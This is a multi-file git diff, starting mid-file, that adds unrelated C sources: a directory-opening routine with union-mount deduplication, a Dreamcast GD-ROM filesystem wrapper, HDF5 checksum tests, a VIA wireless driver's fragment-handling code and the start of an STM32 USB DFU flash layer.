+	    (*(const struct dirent **)p2)->d_name));
+}
+
+/*
+ * Common routine for opendir(3), __opendir2(3) and fdopendir(3).
+ */
+static DIR *
+__opendir_common(int fd, int flags)
+{
+	DIR *dirp;
+	int incr;
+	int saved_errno;
+	int unionstack;
+	int fd2;
+
+	fd2 = -1;
+
+	if ((dirp = malloc(sizeof(DIR) + sizeof(struct _telldir))) == NULL)
+		return (NULL);
+
+	dirp->dd_td = (struct _telldir *)((char *)dirp + sizeof(DIR));
+	LIST_INIT(&dirp->dd_td->td_locq);
+	dirp->dd_td->td_loccnt = 0;
+
+	/*
+	 * Use the system page size if that is a multiple of DIRBLKSIZ.
+	 * Hopefully this can be a big win someday by allowing page
+	 * trades to user space to be done by _getdirentries().
+	 */
+	incr = getpagesize();
+	if ((incr % DIRBLKSIZ) != 0) 
+		incr = DIRBLKSIZ;
+
+	/*
+	 * Determine whether this directory is the top of a union stack.
+	 */
+	if (flags & DTF_NODUP) {
+		struct statfs sfb;
+
+		if (_fstatfs(fd, &sfb) < 0)
+			goto fail;
+		unionstack = !strcmp(sfb.f_fstypename, "unionfs")
+		    || (sfb.f_flags & MNT_UNION);
+	} else {
+		unionstack = 0;
+	}
+
+	if (unionstack) {
+		int len = 0;
+		int space = 0;
+		char *buf = 0;
+		char *ddptr = 0;
+		char *ddeptr;
+		int n;
+		struct dirent **dpv;
+
+		/*
+		 * The strategy here is to read all the directory
+		 * entries into a buffer, sort the buffer, and
+		 * remove duplicate entries by setting the inode
+		 * number to zero.
+		 *
+		 * We reopen the directory because _getdirentries()
+		 * on a MNT_UNION mount modifies the open directory,
+		 * making it refer to the lower directory after the
+		 * upper directory's entries are exhausted.
+		 * This would otherwise break software that uses
+		 * the directory descriptor for fchdir or *at
+		 * functions, such as fts.c.
+		 */
+		if ((fd2 = _openat(fd, ".", O_RDONLY | O_CLOEXEC)) == -1) {
+			saved_errno = errno;
+			free(buf);
+			free(dirp);
+			errno = saved_errno;
+			return (NULL);
+		}
+
+		do {
+			/*
+			 * Always make at least DIRBLKSIZ bytes
+			 * available to _getdirentries
+			 */
+			if (space < DIRBLKSIZ) {
+				space += incr;
+				len += incr;
+				buf = reallocf(buf, len);
+				if (buf == NULL)
+					goto fail;
+				ddptr = buf + (len - space);
+			}
+
+			n = _getdirentries(fd2, ddptr, space, &dirp->dd_seek);
+			if (n > 0) {
+				ddptr += n;
+				space -= n;
+			}
+		} while (n > 0);
+
+		ddeptr = ddptr;
+		flags |= __DTF_READALL;
+
+		_close(fd2);
+		fd2 = -1;
+
+		/*
+		 * There is now a buffer full of (possibly) duplicate
+		 * names.
+		 */
+		dirp->dd_buf = buf;
+
+		/*
+		 * Go round this loop twice...
+		 *
+		 * Scan through the buffer, counting entries.
+		 * On the second pass, save pointers to each one.
+		 * Then sort the pointers and remove duplicate names.
+		 */
+		for (dpv = 0;;) {
+			n = 0;
+			ddptr = buf;
+			while (ddptr < ddeptr) {
+				struct dirent *dp;
+
+				dp = (struct dirent *) ddptr;
+				if ((long)dp & 03L)
+					break;
+				if ((dp->d_reclen <= 0) ||
+				    (dp->d_reclen > (ddeptr + 1 - ddptr)))
+					break;
+				ddptr += dp->d_reclen;
+				if (dp->d_fileno) {
+					if (dpv)
+						dpv[n] = dp;
+					n++;
+				}
+			}
+
+			if (dpv) {
+				struct dirent *xp;
+
+				/*
+				 * This sort must be stable.
+				 */
+				mergesort(dpv, n, sizeof(*dpv),
+				    opendir_compar);
+
+				dpv[n] = NULL;
+				xp = NULL;
+
+				/*
+				 * Scan through the buffer in sort order,
+				 * zapping the inode number of any
+				 * duplicate names.
+				 */
+				for (n = 0; dpv[n]; n++) {
+					struct dirent *dp = dpv[n];
+
+					if ((xp == NULL) ||
+					    strcmp(dp->d_name, xp->d_name)) {
+						xp = dp;
+					} else {
+						dp->d_fileno = 0;
+					}
+					if (dp->d_type == DT_WHT &&
+					    (flags & DTF_HIDEW))
+						dp->d_fileno = 0;
+				}
+
+				free(dpv);
+				break;
+			} else {
+				dpv = malloc((n+1) * sizeof(struct dirent *));
+				if (dpv == NULL)
+					break;
+			}
+		}
+
+		dirp->dd_len = len;
+		dirp->dd_size = ddptr - dirp->dd_buf;
+	} else {
+		dirp->dd_len = incr;
+		dirp->dd_size = 0;
+		dirp->dd_buf = malloc(dirp->dd_len);
+		if (dirp->dd_buf == NULL)
+			goto fail;
+		dirp->dd_seek = 0;
+	}
+
+	dirp->dd_loc = 0;
+	dirp->dd_fd = fd;
+	dirp->dd_flags = flags;
+	dirp->dd_lock = NULL;
+
+	/*
+	 * Set up seek point for rewinddir.
+	 */
+	dirp->dd_rewind = telldir(dirp);
+
+	return (dirp);
+
+fail:
+	saved_errno = errno;
+	if (fd2 != -1)
+		_close(fd2);
+	free(dirp);
+	errno = saved_errno;
+	return (NULL);
+}
diff --git a/pool/shard001/C/0023602_FileSystem.c b/pool/shard001/C/0023602_FileSystem.c
new file mode 100644
index 0000000000000000000000000000000000000000..758599f3a48cb9fb55b170853177e01b4242d0b2
--- /dev/null
+++ b/pool/shard001/C/0023602_FileSystem.c
@@ -0,0 +1,140 @@
+#include <FileSystem.h>
+#include <Log.h>
+#include <string.h>
+
+#define GDROM_MAX_OPEN_FILES	10
+#define GDROM_BUFFER_COUNT		512
+
+static Uint8 g_GDFSWork[ GDFS_WORK_SIZE( GDROM_MAX_OPEN_FILES ) + 32 ];
+static Uint8 g_GDFSHandleTable[ GDFS_DIRREC_SIZE( GDROM_BUFFER_COUNT ) + 32 ];
+
+static GDFS_DIRREC g_RootDirectory;
+
+void GDFSErrorCallback( void *p_pObject, long p_Error );
+
+int FS_Initialise( void )
+{
+	Uint8 *pWork, *pDirectory;
+	Sint32 Error, Itr;
+	Uint32 RootDirectoryBuffer[ GDFS_DIRREC_SIZE( 64 ) ];
+
+	pWork =
+		( Uint8 * )( ( ( Uint32 )g_GDFSWork & 0xFFFFFFE0 ) + 0x20 );
+	pDirectory =
+		( Uint8 * )( ( ( Uint32 )g_GDFSHandleTable & 0xFFFFFFE0 ) +
+			0x20 );
+	
+	for( Itr = 8; Itr > 0; --Itr )
+	{
+		Error = gdFsInit( GDROM_MAX_OPEN_FILES, pWork,
+			GDROM_BUFFER_COUNT, pDirectory );
+
+		if( ( Error == GDD_ERR_TRAYOPEND ) ||
+			( Error == GDD_ERR_UNITATTENT ) )
+		{
+			return 1;
+		}
+		else if( Error == GDD_ERR_OK )
+		{
+			break;
+		}
+	}
+
+	if( Itr == 0 )
+	{
+		return 1;
+	}
+
+	gdFsEntryErrFuncAll( GDFSErrorCallback, NULL );
+
+	g_RootDirectory = gdFsCreateDirhn( RootDirectoryBuffer, 64 );
+	gdFsLoadDir( ".", g_RootDirectory );
+
+#if defined ( DEBUG )
+	{
+		LOG_Debug( "Initialised GD-ROM | Maximum open files: %d | Open buffer "
+			"count: %d", GDROM_MAX_OPEN_FILES, GDROM_BUFFER_COUNT );
+		LOG_Debug( "%s", GDD_VERSION_STR );
+	}
+#endif /* DEBUG */
+
+	return 0;
+}
+
+int FS_Terminate( void )
+{
+	gdFsFinish( );
+
+	return 0;
+}
+
+GDFS FS_OpenFile( char *p_pFilePath )
+{
+	char *pFileName;
+	char File[ GDD_FS_FNAMESIZE ];
+	char FilePath[ 256 ];
+	GDFS_DIRREC Directory;
+	/* Pretty bad, currently after a few calls the g_RootDirectory gets
+	 * overwritten, so this is static for now */
+	static Uint32 DirectoryBuffer[ GDFS_DIRREC_SIZE( 64 ) ];
+	GDFS ReturnFile;
+
+	/* Save the directory used before entering */
+	Directory = gdFsCreateDirhn( DirectoryBuffer, 64 );
+	gdFsLoadDir( ".", Directory );
+
+	/* For an absolute path, begin with the root directory */
+	if( p_pFilePath[ 0 ] == '/' )
+	{
+		gdFsSetDir( g_RootDirectory );
+	}
+
+	/* Don't modify the input file path */
+	strncpy( FilePath, p_pFilePath, strlen( p_pFilePath ) );
+	FilePath[ strlen( p_pFilePath ) ] = '\0';
+
+	/* Break the path down for GDFS to consume */
+	pFileName = strtok( FilePath, "/" );
+
+	while( pFileName != NULL )
+	{
+		GDFS_DIRINFO FileInformation;
+		strcpy( File, pFileName );
+
+		if( gdFsGetDirInfo( pFileName, &FileInformation ) != GDD_ERR_OK )
+		{
+			LOG_Debug( "FILE: \"%s\" invalid", File );
+
+			/* Restore the directory used before entering the function */
+			gdFsSetDir( Directory );
+
+			return NULL;
+		}
+
+		if( FileInformation.flag & GDD_FF_DIRECTORY )
+		{
+			gdFsChangeDir( File );
+		}
+
+		pFileName = strtok( NULL, "/" );
+	}
+
+	ReturnFile = gdFsOpen( File, NULL );
+
+	/* Restore the directory used before entering the function */
+	gdFsSetDir( Directory );
+
+	return ReturnFile;
+}
+
+void GDFSErrorCallback( void *p_pObject, long p_Error )
+{
+	if( ( p_Error == GDD_ERR_TRAYOPEND ) ||
+		( p_Error == GDD_ERR_UNITATTENT ) )
+	{
+		/* Hard reset, look into making this more forgiving and useful */
+		HW_Terminate( );
+		HW_Reboot( );
+	}
+}
+
diff --git a/pool/shard001/C/0023614_tchecksum.c b/pool/shard001/C/0023614_tchecksum.c
new file mode 100644
index 0000000000000000000000000000000000000000..350a218edf811bd10dc6c0c859b29f1d13e7c267
--- /dev/null
+++ b/pool/shard001/C/0023614_tchecksum.c
@@ -0,0 +1,255 @@
+/* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
+ * Copyright by The HDF Group.                                               *
+ * Copyright by the Board of Trustees of the University of Illinois.         *
+ * All rights reserved.                                                      *
+ *                                                                           *
+ * This file is part of HDF5.  The full HDF5 copyright notice, including     *
+ * terms governing use, modification, and redistribution, is contained in    *
+ * the files COPYING and Copyright.html.  COPYING can be found at the root   *
+ * of the source code distribution tree; Copyright.html can be found at the  *
+ * root level of an installed copy of the electronic HDF5 document set and   *
+ * is linked from the top-level documents page.  It can also be found at     *
+ * http://hdfgroup.org/HDF5/doc/Copyright.html.  If you do not have          *
+ * access to either file, you may request a copy from help@hdfgroup.org.     *
+ * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * */
+
+/*-------------------------------------------------------------------------
+ *
+ * Created:		tchecksum.c
+ *			Aug 21 2006
+ *			Quincey Koziol <koziol@hdfgroup.org>
+ *
+ * Purpose:		Test internal checksum routine(s)
+ *
+ *-------------------------------------------------------------------------
+ */
+
+/***********/
+/* Headers */
+/***********/
+#include "testhdf5.h"
+
+/**********/
+/* Macros */
+/**********/
+#define BUF_LEN 3093    /* No particular value */
+
+/*******************/
+/* Local variables */
+/*******************/
+uint8_t large_buf[BUF_LEN];
+
+
+/****************************************************************
+**
+**  test_chksum_size_one(): Checksum 1 byte buffer
+**
+****************************************************************/
+static void
+test_chksum_size_one(void)
+{
+    uint8_t buf[1] = {23};      /* Buffer to checksum */
+    uint32_t chksum;    /* Checksum value */
+
+    /* Buffer w/real data */
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0x17001700, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xfa2568b7, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0xa209c931, "H5_checksum_lookup3");
+
+    /* Buffer w/zero(s) for data */
+    HDmemset(buf, 0, sizeof(buf));
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xfa60fb57, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0x8ba9414b, "H5_checksum_lookup3");
+} /* test_chksum_size_one() */
+
+
+/****************************************************************
+**
+**  test_chksum_size_two(): Checksum 2 byte buffer
+**
+****************************************************************/
+static void
+test_chksum_size_two(void)
+{
+    uint8_t buf[2] = {23, 187};         /* Buffer to checksum */
+    uint32_t chksum;                    /* Checksum value */
+
+    /* Buffer w/real data */
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0x17bb17bb, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xfc856608, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0x8ba7a6c9, "H5_checksum_lookup3");
+
+    /* Buffer w/zero(s) for data */
+    HDmemset(buf, 0, sizeof(buf));
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xfc7e9b20, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0x62cd61b3, "H5_checksum_lookup3");
+} /* test_chksum_size_two() */
+
+
+/****************************************************************
+**
+**  test_chksum_size_three(): Checksum 3 byte buffer
+**
+****************************************************************/
+static void
+test_chksum_size_three(void)
+{
+    uint8_t buf[3] = {23, 187, 98};     /* Buffer to checksum */
+    uint32_t chksum;                    /* Checksum value */
+
+    /* Buffer w/real data */
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0x917679bb, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xfebc5d70, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0xcebdf4f0, "H5_checksum_lookup3");
+
+    /* Buffer w/zero(s) for data */
+    HDmemset(buf, 0, sizeof(buf));
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xf9cc4c7a, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0x6bd0060f, "H5_checksum_lookup3");
+} /* test_chksum_size_three() */
+
+
+/****************************************************************
+**
+**  test_chksum_size_four(): Checksum 4 byte buffer
+**
+****************************************************************/
+static void
+test_chksum_size_four(void)
+{
+    uint8_t buf[4] = {23, 187, 98, 217};/* Buffer to checksum */
+    uint32_t chksum;                    /* Checksum value */
+
+    /* Buffer w/real data */
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0x924f7a94, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xff398a46, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0x2c88bb51, "H5_checksum_lookup3");
+
+    /* Buffer w/zero(s) for data */
+    HDmemset(buf, 0, sizeof(buf));
+    chksum = H5_checksum_fletcher32(buf, sizeof(buf));
+    VERIFY(chksum, 0, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(buf, sizeof(buf));
+    VERIFY(chksum, 0xff117081, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(buf, sizeof(buf), 0);
+    VERIFY(chksum, 0x049396b8, "H5_checksum_lookup3");
+} /* test_chksum_size_four() */
+
+
+/****************************************************************
+**
+**  test_chksum_large(): Checksum larger buffer
+**
+****************************************************************/
+static void
+test_chksum_large(void)
+{
+    uint32_t chksum;            /* Checksum value */
+    size_t u;                   /* Local index variable */
+
+    /* Initialize buffer w/known data */
+    for(u = 0; u < BUF_LEN; u++)
+        large_buf[u] = u * 3;
+
+    /* Buffer w/real data */
+    chksum = H5_checksum_fletcher32(large_buf, sizeof(large_buf));
+    VERIFY(chksum, 0x85b4e2a, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(large_buf, sizeof(large_buf));
+    VERIFY(chksum, 0xfbd0f7c0, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(large_buf, sizeof(large_buf), 0);
+    VERIFY(chksum, 0x1bd2ee7b, "H5_checksum_lookup3");
+
+    /* Buffer w/zero(s) for data */
+    HDmemset(large_buf, 0, sizeof(large_buf));
+    chksum = H5_checksum_fletcher32(large_buf, sizeof(large_buf));
+    VERIFY(chksum, 0, "H5_checksum_fletcher32");
+
+    chksum = H5_checksum_crc(large_buf, sizeof(large_buf));
+    VERIFY(chksum, 0xfac8b4c4, "H5_checksum_crc");
+
+    chksum = H5_checksum_lookup3(large_buf, sizeof(large_buf), 0);
+    VERIFY(chksum, 0x930c7afc, "H5_checksum_lookup3");
+} /* test_chksum_large() */
+
+
+/****************************************************************
+**
+**  test_checksum(): Main checksum testing routine.
+**
+****************************************************************/
+void
+test_checksum(void)
+{
+    /* Output message about test being performed */
+    MESSAGE(5, ("Testing checksum algorithms\n"));
+
+    /* Various checks for fletcher32 checksum algorithm */
+    test_chksum_size_one();		/* Test buffer w/only 1 byte */
+    test_chksum_size_two();		/* Test buffer w/only 2 bytes */
+    test_chksum_size_three();		/* Test buffer w/only 3 bytes */
+    test_chksum_size_four();		/* Test buffer w/only 4 bytes */
+    test_chksum_large();		/* Test buffer w/larger # of bytes */
+
+} /* test_checksum() */
+
+
+/*-------------------------------------------------------------------------
+ * Function:	cleanup_checksum
+ *
+ * Purpose:	Cleanup temporary test files
+ *
+ * Return:	none
+ *
+ * Programmer:	Quincey Koziol
+ *              August 21, 2006
+ *
+ *-------------------------------------------------------------------------
+ */
+void
+cleanup_checksum(void)
+{
+    /* no file to clean */
+}
+
diff --git a/pool/shard001/C/0023622_wctl.c b/pool/shard001/C/0023622_wctl.c
new file mode 100644
index 0000000000000000000000000000000000000000..18a09a3a41308f0c3349c05c94d98696c91826b8
--- /dev/null
+++ b/pool/shard001/C/0023622_wctl.c
@@ -0,0 +1,259 @@
+/*
+ * Copyright (c) 1996, 2003 VIA Networking Technologies, Inc.
+ * All rights reserved.
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ *
+ * File: wctl.c
+ *
+ * Purpose: handle WMAC duplicate filter & defragment
+ *
+ * Author: Jerry Chen
+ *
+ * Date: Jun. 27, 2002
+ *
+ * Functions:
+ *      WCTLbIsDuplicate - Test if duplicate packet
+ *      WCTLuSearchDFCB - Search DeFragment Control Database
+ *      WCTLuInsertDFCB - Insert DeFragment Control Database
+ *      WCTLbHandleFragment - Handle received fragment packet
+ *
+ * Revision History:
+ *
+ */
+
+#include "wctl.h"
+#include "device.h"
+#include "card.h"
+#include "tmacro.h"
+
+/*---------------------  Static Definitions -------------------------*/
+
+/*---------------------  Static Classes  ----------------------------*/
+
+/*---------------------  Static Variables  --------------------------*/
+// static int          msglevel                =MSG_LEVEL_INFO;
+/*---------------------  Static Functions  --------------------------*/
+
+/*---------------------  Export Variables  --------------------------*/
+
+
+
+/*
+ * Description:
+ *      Scan Rx cache.  Return TRUE if packet is duplicate, else
+ *      inserts in receive cache and returns FALSE.
+ *
+ * Parameters:
+ *  In:
+ *      pCache      - Receive packets history
+ *      pMACHeader  - 802.11 MAC Header of received packet
+ *  Out:
+ *      none
+ *
+ * Return Value: TRUE if packet duplicate; otherwise FALSE
+ *
+ */
+
+BOOL WCTLbIsDuplicate (PSCache pCache, PS802_11Header pMACHeader)
+{
+    unsigned int            uIndex;
+    unsigned int            ii;
+    PSCacheEntry    pCacheEntry;
+
+    if (IS_FC_RETRY(pMACHeader)) {
+
+        uIndex = pCache->uInPtr;
+        for (ii = 0; ii < DUPLICATE_RX_CACHE_LENGTH; ii++) {
+            pCacheEntry = &(pCache->asCacheEntry[uIndex]);
+            if ((pCacheEntry->wFmSequence == pMACHeader->wSeqCtl) &&
+		(!compare_ether_addr(&(pCacheEntry->abyAddr2[0]),
+				     &(pMACHeader->abyAddr2[0]))) &&
+                (LOBYTE(pCacheEntry->wFrameCtl) == LOBYTE(pMACHeader->wFrameCtl))
+                ) {
+                /* Duplicate match */
+                return TRUE;
+            }
+            ADD_ONE_WITH_WRAP_AROUND(uIndex, DUPLICATE_RX_CACHE_LENGTH);
+        }
+    }
+    /* Not found in cache - insert */
+    pCacheEntry = &pCache->asCacheEntry[pCache->uInPtr];
+    pCacheEntry->wFmSequence = pMACHeader->wSeqCtl;
+    memcpy(&(pCacheEntry->abyAddr2[0]), &(pMACHeader->abyAddr2[0]), ETH_ALEN);
+    pCacheEntry->wFrameCtl = pMACHeader->wFrameCtl;
+    ADD_ONE_WITH_WRAP_AROUND(pCache->uInPtr, DUPLICATE_RX_CACHE_LENGTH);
+    return FALSE;
+}
+
+/*
+ * Description:
+ *      Found if sequence number of received fragment packet in Defragment Database
+ *
+ * Parameters:
+ *  In:
+ *      pDevice     - Pointer to adapter
+ *      pMACHeader  - 802.11 MAC Header of received packet
+ *  Out:
+ *      none
+ *
+ * Return Value: index number in Defragment Database
+ *
+ */
+
+unsigned int WCTLuSearchDFCB(struct vnt_private *pDevice,
+	PS802_11Header pMACHeader)
+{
+	unsigned int ii;
+
+	for (ii = 0; ii < pDevice->cbDFCB; ii++) {
+		if ((pDevice->sRxDFCB[ii].bInUse == TRUE) &&
+		    (!compare_ether_addr(&(pDevice->sRxDFCB[ii].abyAddr2[0]),
+					  &(pMACHeader->abyAddr2[0])))) {
+			return ii;
+		}
+	}
+	return pDevice->cbDFCB;
+}
+
+/*
+ * Description:
+ *      Insert received fragment packet in Defragment Database
+ *
+ * Parameters:
+ *  In:
+ *      pDevice     - Pointer to adapter
+ *      pMACHeader  - 802.11 MAC Header of received packet
+ *  Out:
+ *      none
+ *
+ * Return Value: index number in Defragment Database
+ *
+ */
+unsigned int WCTLuInsertDFCB(struct vnt_private *pDevice,
+	PS802_11Header pMACHeader)
+{
+	unsigned int ii;
+
+    if (pDevice->cbFreeDFCB == 0)
+        return(pDevice->cbDFCB);
+    for (ii = 0; ii < pDevice->cbDFCB; ii++) {
+        if (pDevice->sRxDFCB[ii].bInUse == FALSE) {
+            pDevice->cbFreeDFCB--;
+            pDevice->sRxDFCB[ii].uLifetime = pDevice->dwMaxReceiveLifetime;
+            pDevice->sRxDFCB[ii].bInUse = TRUE;
+            pDevice->sRxDFCB[ii].wSequence = (pMACHeader->wSeqCtl >> 4);
+            pDevice->sRxDFCB[ii].wFragNum = (pMACHeader->wSeqCtl & 0x000F);
+	    memcpy(&(pDevice->sRxDFCB[ii].abyAddr2[0]),
+		   &(pMACHeader->abyAddr2[0]),
+		   ETH_ALEN);
+            return(ii);
+        }
+    }
+    return(pDevice->cbDFCB);
+}
+
+
+/*
+ * Description:
+ *      Handle received fragment packet
+ *
+ * Parameters:
+ *  In:
+ *      pDevice         - Pointer to adapter
+ *      pMACHeader      - 802.11 MAC Header of received packet
+ *      cbFrameLength   - Frame length
+ *      bWEP            - is WEP packet
+ *  Out:
+ *      none
+ *
+ * Return Value: TRUE if it is valid fragment packet and we have resource to defragment; otherwise FALSE
+ *
+ */
+int WCTLbHandleFragment(struct vnt_private *pDevice, PS802_11Header pMACHeader,
+	unsigned int cbFrameLength, int bWEP, int bExtIV)
+{
+	unsigned int uHeaderSize;
+
+
+    if (bWEP == TRUE) {
+        uHeaderSize = 28;
+        if (bExtIV)
+        // ExtIV
+            uHeaderSize +=4;
+    }
+    else {
+        uHeaderSize = 24;
+    }
+
+    if (IS_FIRST_FRAGMENT_PKT(pMACHeader)) {
+        pDevice->uCurrentDFCBIdx = WCTLuSearchDFCB(pDevice, pMACHeader);
+        if (pDevice->uCurrentDFCBIdx < pDevice->cbDFCB) {
+            // duplicate, we must flush previous DCB
+            pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].uLifetime = pDevice->dwMaxReceiveLifetime;
+            pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].wSequence = (pMACHeader->wSeqCtl >> 4);
+            pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].wFragNum = (pMACHeader->wSeqCtl & 0x000F);
+        }
+        else {
+            pDevice->uCurrentDFCBIdx = WCTLuInsertDFCB(pDevice, pMACHeader);
+            if (pDevice->uCurrentDFCBIdx == pDevice->cbDFCB) {
+                return(FALSE);
+            }
+        }
+        // reserve 8 byte to match MAC RX Buffer
+        pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].pbyRxBuffer = (PBYTE) (pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].skb->data + 8);
+//        pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].pbyRxBuffer = (PBYTE) (pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].skb->data + 4);
+        memcpy(pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].pbyRxBuffer, pMACHeader, cbFrameLength);
+        pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].cbFrameLength = cbFrameLength;
+        pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].pbyRxBuffer += cbFrameLength;
+        pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].wFragNum++;
+        //DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO "First pDevice->uCurrentDFCBIdx= %d\n", pDevice->uCurrentDFCBIdx);
+        return(FALSE);
+    }
+    else {
+        pDevice->uCurrentDFCBIdx = WCTLuSearchDFCB(pDevice, pMACHeader);
+        if (pDevice->uCurrentDFCBIdx != pDevice->cbDFCB) {
+            if ((pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].wSequence == (pMACHeader->wSeqCtl >> 4)) &&
+                (pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].wFragNum == (pMACHeader->wSeqCtl & 0x000F)) &&
+                ((pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].cbFrameLength + cbFrameLength - uHeaderSize) < 2346)) {
+
+                memcpy(pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].pbyRxBuffer, ((PBYTE) (pMACHeader) + uHeaderSize), (cbFrameLength - uHeaderSize));
+                pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].cbFrameLength += (cbFrameLength - uHeaderSize);
+                pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].pbyRxBuffer += (cbFrameLength - uHeaderSize);
+                pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].wFragNum++;
+                //DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO "Second pDevice->uCurrentDFCBIdx= %d\n", pDevice->uCurrentDFCBIdx);
+            }
+            else {
+                // seq error or frag # error flush DFCB
+                pDevice->cbFreeDFCB++;
+                pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].bInUse = FALSE;
+                return(FALSE);
+            }
+        }
+        else {
+            return(FALSE);
+        }
+        if (IS_LAST_FRAGMENT_PKT(pMACHeader)) {
+            //enq defragcontrolblock
+            pDevice->cbFreeDFCB++;
+            pDevice->sRxDFCB[pDevice->uCurrentDFCBIdx].bInUse = FALSE;
+            //DBG_PRT(MSG_LEVEL_DEBUG, KERN_INFO "Last pDevice->uCurrentDFCBIdx= %d\n", pDevice->uCurrentDFCBIdx);
+            return(TRUE);
+        }
+        return(FALSE);
+    }
+}
+
+
diff --git a/pool/shard001/C/0023627_usbd_dfu_flash.c b/pool/shard001/C/0023627_usbd_dfu_flash.c
new file mode 100644
index 0000000000000000000000000000000000000000..19952574a1337318d3d1b36637e53f331e83d489
--- /dev/null
+++ b/pool/shard001/C/0023627_usbd_dfu_flash.c
@@ -0,0 +1,241 @@
+/**
+  ******************************************************************************
+  * @file    USB_Device/DFU_Standalone/Src/usbd_dfu_flash.c
+  * @author  MCD Application Team
+  * @version V1.2.1
+  * @date    09-October-2015
+  * @brief   Memory management layer
+  ******************************************************************************
+  * @attention
+  *
+  * <h2><center>&copy; COPYRIGHT(c) 2015 STMicroelectronics</center></h2>
+  *
+  * Licensed under MCD-ST Liberty SW License Agreement V2, (the "License");
+  * You may not use this file except in compliance with the License.
+  * You may obtain a copy of the License at:
+  *
+  *        http://www.st.com/software_license_agreement_liberty_v2
+  *
+  * Unless required by applicable law or agreed to in writing, software 
+  * distributed under the License is distributed on an "AS IS" BASIS, 
+  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  * See the License for the specific language governing permissions and
+  * limitations under the License.
+  *
+  ******************************************************************************
+  */
+
+/* Includes ------------------------------------------------------------------*/
+#include "usbd_dfu_flash.h"
+#include "stm32f4xx_hal_conf.h"
+
+/* Private typedef -----------------------------------------------------------*/
+/* Private define ------------------------------------------------------------*/
+#define FLASH_DESC_STR      "@Internal Flash   /0x08000000/02*016Ka,02*016Kg,01*064Kg,03*128Kg"
+#define FLASH_ERASE_TIME    (uint16_t)50
+#define FLASH_PROGRAM_TIME  (uint16_t)50
+                                                             
+/* Private macro -------------------------------------------------------------*/
+/* Private variables ---------------------------------------------------------*/
+/* Private function prototypes -----------------------------------------------*/
+static uint32_t GetSector(uint32_t Address);
+
+/* Extern function prototypes ------------------------------------------------*/
+uint16_t Flash_If_Init(void);
+uint16_t Flash_If_Erase(uint32_t Add);
+uint16_t Flash_If_Write(uint8_t *src, uint8_t *dest, uint32_t Len);
+uint8_t *Flash_If_Read(uint8_t *src, uint8_t *dest, uint32_t Len);
